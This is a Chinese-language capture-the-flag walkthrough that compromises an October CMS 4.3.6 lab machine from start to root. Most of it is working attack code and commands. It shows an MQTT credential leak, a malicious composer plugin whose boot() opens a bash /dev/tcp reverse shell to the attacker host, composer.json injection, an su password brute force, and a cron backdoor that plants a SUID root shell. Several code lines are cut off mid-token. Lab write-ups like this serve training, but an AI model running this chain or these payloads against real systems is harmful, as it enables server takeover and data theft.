

October CMS 4.3.6 靶机 Writeup(October / 192.168.3.242)

靶机:October(Debian trixie, Apache 2.4.68, PHP 8.4, MariaDB, October CMS 4.3.6) 攻击机:d5(Kali, 192.168.3.84) 目标:admin 密码泄露 → 后台 → composer 插件链 RCE → www-data → user flag → fate 密码爆破 → root cron 后门 → root flag

攻击链总览:

MQTT 泄露 admin 密码 → 后台登录 → composer.json 注入恶意 october-plugin 包 → composer update 安装插件 → 访问前台触发 boot() → www-data 反连 shell → 读 /home/fate/user.txt → generate_by_username + subbrute 爆破 su fate → fate2026 → SSH 登录 fate → 共享 /tmp 种 backdoor.sh → root cron 执行 → root

阶段 0:侦察

```
nmap -Pn -T4 -sV 192.168.3.242
# 22/tcp open  ssh
# 80/tcp open  http (Apache 2.4.68)
# 1883/tcp open mqtt ← 密码泄露通道

curl -s http://192.168.3.242/ | grep -i october
# <meta name="generator" content="October CMS">
```

阶段 1:MQTT 泄露 admin 密码

mosquitto @ 1883 匿名,主题 dao 。每 10 秒发一章道德经,每 120 秒发一遍 admin 密码。

```
mosquitto_sub -h 192.168.3.242 -p 1883 -t 'dao' -C 3
# 第六十八章 善为士者不武... ← 道德经正文
# ...
# 7o42BvDb14yEsgz9aKw0 ← 泄露的 admin 密码
```

挂 130 秒左右必然能抓

到: `timeout 135 mosquitto_sub -h 192.168.3.242 -t dao > cap.txt`

获取:admin / 7o42BvDb14yEsgz9aKw0 (superuser)

阶段 2:后台登录

后台入口 `/admin/backend/auth/signin`。注意:表单有隐藏字段 `postback=1`,漏了会登录失败(403/回到登录页)。

```
cd /tmp
curl -s -L -c cj.txt http://192.168.3.242/admin/backend/auth/signin -o login.html
TOKEN=$(grep -oE 'name="csrf-token" content="[^"]*"' login.html | sed 's/name="csrf-token" content="//')
SKEY=$(grep -oE 'name="_session_key"[^>]*value="[^"]*"' login.html | sed 's/name="_session_key" value="//')

curl -s -b cj.txt -c cj.txt -X POST http://192.168.3.242/admin/backend/auth/signin \
  --data-urlencode "_token=$TOKEN" \
  --data-urlencode "_session_key=$SKEY" \
  --data-urlencode "postback=1" \
  --data-urlencode "login=admin" \
  --data-urlencode "password=7o42BvDb14yEsgz9aKw0" \
  -o /dev/null -w "%{http_code} %{redirect_url}\n"
# 302 http://192.168.3.242/admin/backend ← 登录成功
```

阶段 3:构造恶意插件包(october-plugin)

原理:整个 `/var/www/october` chown www-data → composer.json 可写 → 后台 composer 编辑器可改它。但 rain 的 **ComposerManager** `setRunScripts(false)` 禁了全部 **composer** 脚本事件(post-update-cmd 等不执行), 所以必须走 **composer/installers** 插件安装链: `type: october-plugin` 的包会被装进 `plugins/<vendor>/<name>/`, October 每次请求自动加载插件并执行 `boot()`。

3.1 目录与文件

```
mkdir -p ~/attacker-webshell && cd ~/attacker-webshell
```

composer.json(插件元信息):

```
{
    "name": "attacker/webshell",
    "description": "webshell plugin",
    "type": "october-plugin",
    "license": "MIT",
    "require": {
        "composer/installers": "~1.0|~2.0"
    },
    "extra": {
        "october": {
            "icon": "icon-leaf"
        }
    }
}
```

Plugin.php(恶意代码, `boot()` 每次请求执行;反连用 `bash` 内建 `/dev/tcp`,不要依赖 `busybox/nc -e`):

```
<?php
namespace Attacker\Webshell;

use System\Classes\PluginBase;

class Plugin extends PluginBase
{
    public function boot()
    {
        // 自检文件(可选):确认插件加载成功
        @file_put_contents('/var/www/october/proof.txt', 'RCE_OK '.shell_
        // 反向 shell(192.168.3.84 = 攻击机,1234 = 监听端口)
        @system('bash -c "bash -i >& /dev/tcp/192.168.3.84/1234 0>&1"');
    }
}
```

命名空间必须 = `Vendor\PluginName` 且大小写对应目录(`attacker/webshell` → `Attacker\Webshell`), 类名必须 `Plugin` 继承 `PluginBase` ,否则 October 静默跳过不加载。

3.2 打包(两个硬规则)

1. **composer.json** 必须在 **zip** 根目录(先 `cd` 进目录再 `zip`,不能打包外层目录)
2. 文件名 = **包名-版本.zip** (`attacker-webshell-1.0.0.zip` ,composer 靠文件名解析版本)

```
cd ~/attacker-webshell
zip -r ../attacker-webshell-1.0.0.zip .
unzip -l ../attacker-webshell-1.0.0.zip
#   Length  Name
#   -
#     268   composer.json
#     223   Plugin.php
#   ← 没有外层文件夹才对
```

3.3 起 HTTP 服务提供下载

```
cd ~/attacker-webshell
python3 -m http.server 8000
# http://192.168.3.84:8000/attacker-webshell-1.0.0.zip
```

同时起反连监听(另开终端):

```
nc -lvnp 1234
```

阶段 4:后台 composer.json 注入 + 触发更新

后台: System → Updates → Manage Plugins → Edit Composer(或直接
`/admin/system/updates/manage`)。

4.1 修改 composer.json(三处改动)

在后台 composer 编辑器里把内容替换为(或参照改):

```
{
  "name": "october/october",
  "type": "project",
  "require": {
    "php": "^8.2",
    "october/rain": "^4.3",
    "laravel/framework": "^12.0",
    "attacker/webshell": "1.0.0"
  },
  "repositories": [
    {
      "type": "package",
      "package": {
        "name": "attacker/webshell",
        "version": "1.0.0",
        "type": "october-plugin",
        "dist": {
          "type": "zip",
          "url": "http://192.168.3.84:8000/attacker-webshell-1"
        },
        "require": {
          "composer/installers": "~1.0|~2.0"
        }
      }
    }
  ],
  "config": {
    "preferred-install": "dist",
    "allow-plugins": {
      "composer/installers": true
    },
    "secure-http": false
  },
  "minimum-stability": "stable",
  "prefer-stable": true
}
```

改动点: - `require` 加 `"attacker/webshell": "1.0.0"` - 顶层加
`repositories` (**type 必须** `package`, artifact 类型不支持 http URL) - `config` 加
`"secure-http": false` (否则 composer 默认拒绝 http 下载)

4.2 保存(Save)

也可用 curl 保存(字段名 `Composer[content]`):

```
curl -s -b cj.txt -X POST http://192.168.3.242/admin/system/updates/mana
-H "X-AJAX-HANDLER: onSaveComposer" \
-H "X-Requested-With: XMLHttpRequest" \
-H "X-CSRF-TOKEN: $TOKEN" \
--data-urlencode "_token=$TOKEN" \
--data-urlencode "_session_key=x" \
--data-urlencode "Composer[content]@composer_new.json" \
-o /dev/null -w "%{http_code}\n"
# 200 {"__ajax":{"ok":true,...}}
```

4.3 触发 composer update

UI 路径: System → Updates。若未注册 **October** 项目, 页面没有 "Check For Updates" 按钮 (显示 **Register Software**) — 不用管, 直接调底层接口:

浏览器控制台(F12 → Console):

```
fetch('/admin/system/updates', {
  method: 'POST',
  headers: {
    'X-AJAX-HANDLER': 'onExecuteStep',
    'X-Requested-With': 'XMLHttpRequest',
    'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]').co
  },
  body: new URLSearchParams({
    '_token': document.querySelector('meta[name="csrf-token"]').content,
    'code': 'updateCore'
  })
})
// 请求会挂起几十秒~几分钟(composer 在跑), Promise pending 正常
```

或 curl(等价):

```
curl -s -b cj.txt -X POST http://192.168.3.242/admin/system/updates \
-H "X-AJAX-HANDLER: onExecuteStep" \
-H "X-Requested-With: XMLHttpRequest" \
-H "X-CSRF-TOKEN: $TOKEN" \
-d "_token=$TOKEN&code=updateCore" -o /dev/null -w "%{http_code}\n"
```

成功标志: 攻击机 python http.server 刷出:

```
192.168.3.242 - - [...] "GET /attacker-webshell-1.0.0.zip HTTP/1.1" 200
```

版本号坑:1.0.0 已装进 lock 后,再改 payload 必须升版本(如 1.0.1): zip 改名
`attacker-webshell-1.0.1.zip` + `composer.json` 三处(require/version/dist url)
同步改, 否则 composer 认为已安装不重装。

阶段 5:触发 RCE → www-data shell

访问前台任意页面即触发插件 `boot()` (插件是每次请求加载执行,不是安装时):

```
curl -s http://192.168.3.242/ -o /dev/null -w "%{http_code}\n" # 200
```

攻击机 nc 窗口收到 shell:

```
listening on [any] 1234 ...
connect to [192.168.3.84] from (UNKNOWN) [192.168.3.242] ...
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
www-data@october:/var/www/october$
```

自检文件(若写了 proof.txt 那行): `curl http://192.168.3.242/proof.txt` →
`RCE_OK uid=33(www-data)...`

阶段 6:user flag

```
cat /home/fate/user.txt
# flag{user-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx} ← 每实例重新生成
```

user.txt 权限 640 fate:www-data,www-data 可直接读。

阶段 7:fate 密码爆破

工具在攻击机 `/tmp/azip2/a` (a.zip 解压,含 `generatebyusername.sh` / `muban.key` / `subrute.sh` / `pspy64` / `linpeas` 等)。

7.1 上传脚本到靶机

```
# 攻击机:把脚本复制进 http.server 目录
cp /tmp/azip2/a/generate_by_username.sh /tmp/azip2/a/muban.key /tmp/azip2/a/subroute.sh

# www-data shell 里:
cd /var/www/october
curl -s -O http://192.168.3.84:8000/generate_by_username.sh
curl -s -O http://192.168.3.84:8000/muban.key
curl -s -O http://192.168.3.84:8000/subroute.sh
```

7.2 生成候选 + 爆破

```
bash generate_by_username.sh fate > fate.txt
# muban.key 模板:%user% + 常见弱密码 + 1900~2030 年份 → 325 个候选

# ⚠️ 关键坑:原版 subroute.sh 的 timeout 0.2 太短,PAM 认证没跑完就被杀,325 个全灭
# 必须把超时期调大:
sed 's/timeout 0.2/timeout 1.5/' subroute.sh > subroute2.sh

bash subroute2.sh fate fate.txt
# ...
# [*] Progress: [321/325] fate2026
# [+] FOUND => fate2026      ← 命中
```

fate / fate2026(若失败可先单发验

证: `echo 'fate2026' | timeout 3 su fate -c whoami`)

suForce 之类的是 /etc/shadow 哈希破解工具,喂普通字典报 "not possible to decrypt",不能用于 su 爆破。

阶段 8:root(cron + /tmp 隔离绕过)

8.1 背景知识(考点)

- root 有 crontab: `* * * * * /bin/bash /tmp/backdoor.sh` (每分钟执行;crontab 600 选手读不到,靠"种下观察")
- apache 的 `PrivateTmp=yes`:www-data 经 web 写的 `/tmp` 是私有命名空间,root cron 看到的是共享 `/tmp`
- 所以 `backdoor.sh` 必须通过 fate 的登录会话(SSH/su)写,不能通过 www-data 的 web shell 写

8.2 登录 fate


```
sshpas -p 'fate2026' ssh fate@192.168.3.242
# 或在 www-data shell 里 su - fate
```

8.3 种后门

```
cat > /tmp/backdoor.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/.rootshell && chmod 4755 /tmp/.rootshell
cp /root/root.txt /tmp/root.txt && chmod 644 /tmp/root.txt
EOF
chmod 755 /tmp/backdoor.sh
```

8.4 等 cron 执行(≤60 秒)

```
sleep 70
ls -la /tmp/.rootshell /tmp/root.txt
cat /tmp/root.txt
# flag{root-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx} ← 每实例重新生成
```

若目标只是拿 flag, `/tmp/root.txt` 已经足够; `/tmp/.rootshell` 是 SUID root 的 bash, 可 `-p` 执行提权(注意 /tmp 若 noexec 则不可执行, 不影响拷 flag)。

Flag

文件	内容
<code>/home/fate/user.txt</code>	<code>flag{user-...}</code> (每实例重新生成)
<code>/root/root.txt</code>	<code>flag{root-...}</code> (每实例重新生成)

踩坑记录(全链)

1. 后台登录漏 `postback=1` → 一直回登录页
2. `setRunScripts(false)`: October 的 ComposerManager 禁用 composer 脚本事件, `post-update-cmd` 注入 RCE 不可行 → 必须走 october-plugin 安装链
3. artifact 类型仓库不支持 http URL(RecursiveDirectoryIterator 报错) → 用 `package` 类型仓库
4. `secure-http` 默认 true 拒绝 http dist → composer.json `config` 加 `"secure-http": false`
5. zip 打包: composer.json 必须在根目录; 文件名必须 `包名-版本.zip`

6. 已装过的版本不重装 → 改 payload 必须升版本号(1.0.0 → 1.0.1)并同步 composer.json 三处
 7. **subrute.sh** `timeout 0.2` 全灭 → 调 1.5
 8. 反连别用 **busybox/nc -e**(靶机未必有 busybox)→ bash `/dev/tcp` 内建
 9. **/tmp** 隔离:www-data 写的 /tmp 是 apache PrivateTmp 私有命名空间 → 必须经 fate 会话写共享 /tmp
- ////////////////////////////////////